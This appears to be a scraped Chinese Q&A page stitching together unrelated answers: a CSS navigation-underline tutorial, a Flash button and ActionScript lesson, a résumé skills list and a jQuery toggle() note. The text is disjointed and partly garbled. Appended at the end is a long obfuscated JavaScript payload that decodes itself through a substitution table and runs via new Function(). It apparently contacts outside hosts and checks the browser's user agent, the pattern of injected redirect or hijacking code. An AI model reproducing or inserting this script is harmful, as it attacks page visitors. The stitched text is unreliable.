推荐回答(5个)
1.创建一个新的HTML文件百,该文件被称为测试。标题是“CSS实现的鼠标在导航栏上显示的超链接的下划线效果”。

2.在页面上写nav标签,放入三个超链接(首页,第一栏,第二栏),代码如下。

3.运行代码,效果如下。

4.使用backCSS来美化字体大小、颜色和导航字体的排列。守则如下。

5.运行代码,效果如下:可见,经过CSS样式美化,当鼠标经过时,显示蓝色。

6.使用CSS代码,实现鼠标在上面显示下划线效果,代码如下。

7.在浏览器中运行代码以达到预期的效果。

是在动画播放时,浏览者用鼠标或键盘对动画的播放进行控制的性能。这些控制大多由按钮来完成,本章将叙述按钮外观的制作及一些常用控制语句的使用。
认识按钮的帧结构
按Ctrl+F8键创建新元件,在对话框中选择“按钮”,如下图所示。
输入元件名称后,按“确定”即进入按钮编辑区。按钮编辑区和其他场景不同,时间轴中没有了那么多帧,只有4个方框,分别表示4个“帧”,如下图所示。这就是说按钮只能有4个帧。按钮不是动画,只是控制动画动作的,用1帧也能起到它应有的作用,使用4帧是为了使按钮更加活泼。
按钮的4帧分别为弹起、指针经过、按下和点击。从图中可以看出,初始只有第1帧(弹起)里有一个小圆点,这是系统默认的“关键帧”,另外3帧都不是关键帧。如果不考虑按钮的活泼趣味,在第1帧任意画个图形就成了一个按钮。把这个按钮导入到主场景中后,加上相应的控制语句就可完成控制作用。不过这样简单制作的按钮看起来很呆板。
为了让按钮更有生气,在第2帧、第3帧也加上关键帧。添加关键帧的方法还是按[F6]键。在第2帧和第3帧分别绘制不同的图形,在操作按钮时,鼠标指针移动到按钮上,按钮变成第2帧中的图形,所以第2帧叫做“指针经过”。当按下鼠标键的时候,按钮变成第3帧中的图形,第3帧叫做“按下”。当鼠标指针离开按钮并弹起按键时,按钮又恢复到第1帧中的图形,第1帧叫做“弹起”。下面试做一个变色按钮。
(1)按Ctrl+F8键建立元件,行为选择“按钮”,名称输入“按钮1”,按“确定”进入按钮编辑区。在坐标原点画一个红色圆形。
(2)按两次F6键添加两个关键帧(指针经过和按下都加上关键帧)。选择“指针经过”帧,选中圆,选择填充色为绿色。选择“按下”帧,选中圆,选择填充色为蓝色。
(3)按Ctrl+E键返回主场景,从元件库把“按钮1”拖放到工作区。按Ctrl+Enter键预览,鼠标指针移动到红色按钮上时,按钮就变成绿色;按下鼠标键,按钮就变成蓝色;松开鼠标键按钮变成绿色,移开鼠标指针后,按钮又恢复红色。通过这个试验就很好理解3个关键帧的作用了。
时间轴的第4帧名叫做“点击”,它是规定按钮检测鼠标范围的。前面试验中都没有使用它,不使用第4帧时,按钮的范围就是第1帧绘制的图形。但是有些情况下,检测鼠标的范围太小,鼠标很不容易点击按钮,就要用到第4帧来解决这个问题了。
如下图所示的一个空心圆圈和两条竖线当做按钮,鼠标指针指向圆内时,如图②所示,按钮并不能检测到鼠标。因为按钮是由线组成的,必须对准线的位置如图③所示才检测到鼠标,这样操作者就感到很不方便。
在按钮的第4帧(点击)插入关键帧,画一个实心的圆如图④所示,当鼠标指针移动到这个圆内,按钮就检测到鼠标了。这个圆只起检测作用,在动画播放时并不显示。
有时需要用到隐藏的按钮,就是在播放时不显示,鼠标移动到该处,单击就起按钮作用。这样的按钮只在第4帧(点击)画图形,其余帧都空白,按钮在播放时就看不到了,因为第4帧中的内容是不显示的。我们在打台球中的按钮就是这样。
用按钮控制播放
前面讲的只是制作按钮方法,若要按钮控制影片播放,还得给按钮加上控制语句才行。控制语句叫做“脚本”,也叫做“代码”。这一节主要学习按钮脚本的输入方法,可以把上一节做的有声音动画源文件打开,添加控制按钮。
(1)制作“播放”按钮(做法略),用文本工具在按钮输入“播放”。 制作“暂停”按钮,在按钮输入“暂停”。
(2) 返回主场景。将两个按钮导入,放在合适位置。
(3) 选中“播放”按钮,按F9键打开“动作”面板,如图所示。
动作面板在默认状态下放置在屏幕下边。如果没有关闭该面板,用鼠标单击名称行就展开了。关闭后可用快捷键[F9]打开。如果打开后面板不是如上图的样子,可能是处于“专家模式”状态,专家模式的使用以后再讲,初接触动作面板,最好使用“标准模式”操作。单击动作面板右上角的菜单按钮,拉开动作面板菜单,其中有“标准模式”和“专家模式”可选择。
动作面板可分为3部分:脚本工具箱、参数区和代码区,如图所示。面板左边框中存储着可供选择的动作脚本,叫做“脚本工具箱”。代码分为多种类型,每种类型的代码放在一个目录里,是目录标记。单击一个目录,标记变成形状,这是展开标记。目录里的内容展开后,如果里面还有目录的话,是大类里又化分小类,再展开小类,才能出现控制代码。双击某一个代码,这个代码就会添加到右边代码区中,就是输入了代码。代码区中选中某一行代码,参数区中就出现该代码的可选参数项。
(3)展开“动作→影片控制”,双击“play”项,代码区中出现了“on(release)”。该语句意思是鼠标单击后执行播放命令。
(4)选择“暂停”按钮,展开“动作→影片控制”,双击“stop”项,右边代码区中出现“on(release)”语句。
(5)按Ctrl+Enter预演,播放动画时,用鼠标单击“暂停”按钮,声音就停止,单击“播放”按钮,声音又播放起来。
下面将按钮代码参数区中内容解释一下:
按钮代码分两行放在代码区中,下行“play()”是动作,上行“on(release)”是在什么情况下执行动作的描述。“release”是指鼠标单击后“释放”。要执行动作不只有“点击释放”一种方法,要选择其他方法,在代码区点击“on(release)”代码,参数区就出现8项事件选择项,如上图中参数区所示。在某项前的方框中打“勾”,就是选择了某项。下面分别叙述参数区中8个选项的含义。
※按(P):鼠标按下按钮时执行。
※滑过(V):指针指向按钮时执行。
※释放(R):鼠标单击按钮并放开后执行。
※滑离(U):不按鼠标,让指针经过按钮再离开后执行。
※外部释放(O):鼠标按下按钮不放,移动到按钮以外再放开时执行。
※拖过(D):鼠标按下按钮不放,移出按钮外再回到按钮上执行。
※拖离(T):鼠标按下按钮不放离开按钮时执行。
※按键(K):选择该项可用键盘触发动作。选择后,“按键”二字右边键值框就被激活,在键盘上按下一个键,该键就被记录在键值框中,以后控制按钮时,按该键就相当鼠标单击的功能。
2004版没有参数区,参数要用户自己输入
以上选项中,常用的是“释放、滑过、按键”这3项。
理解了上面各项的意义,可以试试各选项的控制方式。选中播放按钮,打开动作面板,在代码区中把光标定位在第1行。在参数区中把“释放”项单击一下,方块中的“勾”消失了,在“滑过”项单击一下,“滑过”项前面打“勾”,该操作称做“选择滑过”。原来代码区中的“on(release)语句变成了“on(rollOver)。“暂停”按钮也选择“滑过”项,代码变成了“on(rollOver)”。再次预览,只要将鼠标指针移动到“暂停”按钮上,声音就停止,鼠标指针移动到“播放”按钮,声音又播放起来了。
试用键盘控制。选择“播放”按钮,打开动作面板,参数区中选择“按键”项,会发现“按键”右边键值框变亮,在按键盘上按A键,键值框出现“a”字样,表示记录了键值。选择“暂停”按钮,参数区中选择“按键”项,在键盘上按空格键,键值框中出现字样。导出影片,可以用空格键暂停,按A键播放。
控制帧转向
上面例子只是控制播放与停止,播放和停止的位置并不确定。如果我们要想在文件打开时就停止在某一帧,点击按钮后要跳到指定位帧数,用“goto”命令,就是去到某一帧播放或停止。
下面我们试验一个导入声音一开始不播放,点缶按钮后再开始播放的例子。要让一开始不播放,我们要在开始帧(第一帧)输入“帧代码”。选择第一“帧”,打开动作面板,如下图:
首先请注意一下动作面板最上行深色条中的字“动作-帧”,这与输入按钮代码时是不一样的,输入按钮代码时深色条中的字是“动作-按钮”。该面板名字是与你当前选中对象所决定的,要输入帧动作必需选中“帧”,要输入按钮动作必先选中“按钮”,否则会造成输入代码错误。把帧动作输入到按钮中或把按钮动作输入到帧,是初学者常犯的错误。
在如上图帧动作面板中,双击左边的“stop”,右边代码框中出现 stop(); 这与上述输入按钮代码时不同,输入按钮代码时,双击“stop”,右边代码框中自动添加 on(release)事件,输入“stop”停止命令,不需要事件角触发,参数区里也提示“没有参数”,因为帧动作是不需要操作的,只要播放到该帧,就执行该帧中的命令。帧动作代码输入完成后,在该帧中有一个小 a 字标记。
注意:帧代码只能输入到关键帧上
上面我们让停止在第一帧,为了让开始不播放声音,我们在第二帧插入关键帧,导入声音,在按钮上输入按钮动作,让跳到第二帧播放。选中按钮,打开按钮动作面板, 在左边双击“goto”,右边代码框中自动出现:
on(release){
gotoandplay(1);
}
在右边上部参数区中把“帧”后面框中的1改为2,如
参考资料有图文解说
☆就业方向:
☆专业技能:
*熟练掌握html,xml,css,javascript等技术.
*熟练掌握jsp,servlet,jdbc等相关技术,java语言基础扎实。
*熟悉mysql,sql server,oracle等数据库开发。
*熟悉tomcat应用服务器的使用。
*对struts,spring,hibernate等开源框架有所了解.
*了解c语言,vb程序设计,汇编语言
*熟练使用开发工具eclipse
☆实践经验:
*2005年11月毕业设计:开发药品管理系统,包括管理药品的进库、修改、出库、出库
历史、库存查看等功能,使用struts+hibernate+mysql开发,在应用前端用struts,用
户通过web浏览器进行访问,使用hibernate把对象模型映射到数据库.
*2005年6月独立开发本人的个人主页,具有文章分类显示功能,后台动态管理功能,
在后台动态发布文章、修改文章、删除文章功能,使用jsp+servlet+javabean+mysql
模型开发,jsp只要是用于前台显示,servlet只要用于转发,是整个系统的中心,
javabean主要用于与后台数据库打交道
*2005年10月参加学校的网店设计策划大赛(主要是静态页面设计和图片动画设计)
利用的jquery的toggle函数就可以实现。
1、在html中引入jquery.js。
2、例子:
This is a paragraph.
This is another paragraph.
把 switch 参数设置为 false,可以隐藏所有段落。
toggle() 方法用于绑定两个或多个事件处理器函数,以响应被选元素的轮流的 click 事件。
该方法也可用于切换被选元素的 hide() 与 show() 方法。
!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();